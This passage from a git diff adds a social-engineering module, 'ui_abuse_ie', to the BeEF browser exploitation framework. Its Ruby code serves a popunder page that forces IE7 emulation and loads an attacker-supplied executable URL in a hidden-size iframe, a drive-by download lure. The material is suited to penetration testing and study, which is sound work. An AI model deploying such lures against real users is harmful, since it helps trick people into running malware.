@datastore.each do |input|
|
||||
if input['name'] == "exe_url"
|
||||
@exe_url = input['value']
|
||||
end
|
||||
end
|
||||
|
||||
popunder = File.read("#{$root_dir}/modules/social_engineering/ui_abuse_ie/popunder.html")
|
||||
body = popunder.gsub("__URL_PLACEHOLDER__", @exe_url)
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', {'Content-Type'=>'text/html'}, body, "/underpop.html", -1)
|
||||
rescue Exception => e
|
||||
print_error "Something went wrong executing Ui_abuse_ie::pre_send, exception: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['results'] = @datastore['results']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
13
modules/social_engineering/ui_abuse_ie/popunder.html
Normal file
13
modules/social_engineering/ui_abuse_ie/popunder.html
Normal file
@@ -0,0 +1,13 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
|
||||
</head>
|
||||
<body style="height: 1000px" >
|
||||
<iframe id="xu" width="100" height="100"></iframe>
|
||||
<script type="text/javascript">
|
||||
document.getElementById("xu").src="__URL_PLACEHOLDER__";
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
BIN
modules/social_engineering/ui_abuse_ie/templates/blink.gif
Normal file
BIN
modules/social_engineering/ui_abuse_ie/templates/blink.gif
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 948 B |
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user